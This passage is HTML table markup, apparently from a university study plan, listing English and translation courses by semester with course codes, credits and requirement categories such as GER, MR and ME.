width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Humanities&nbsp; 2 </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Humanities\r\n  1 </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL 201</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>English Grammar pre-advanced (4\r\n  hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Foreign\r\n  language 1&nbsp; </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL 206</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>ESL pre – adv. (6 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Speech Culture </strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL 301</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Translation Practice (4&nbsp; hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR\r\n  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL 207</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Introduction to translation </strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>18</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:290.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"387\">\r\n  <strong>V semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:308.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"411\">\r\n  <p><strong>VI\r\n  semester (Spring)</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENGL\r\n  217</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>ESL\r\n  adv. <strong>(6 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL\r\n  309</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>English\r\n  Composition <strong>(6 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENGL 316 ENGL 322</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Advanced English Vocabulary</p>\r\n  <p>&nbsp;Lexicology</p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>ME</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Math\r\n  (Math and Natural Sciences-2 )<strong></strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENGL\r\n  202</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>English\r\n  Grammar advanced <strong>(4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN 370</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Translation\r\n  of scientific and technical texts </strong><strong>(6\r\n  hours)</strong><strong></strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN 310</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Theory of translation</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>TRN\r\n  315</strong></p>\r\n  <p><strong>TRN\r\n  335 ENGL 450</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Legal and court\r\n  translation </strong><strong>(4 hours)</strong></p>\r\n  <p><strong>Medical\r\n  translation </strong></p>\r\n  <p><strong>Cross\r\n  cultural Communication (4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:37.05pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"49\">\r\n  <p>ME</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>TRN\r\n  309</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Written\r\n  translation </strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 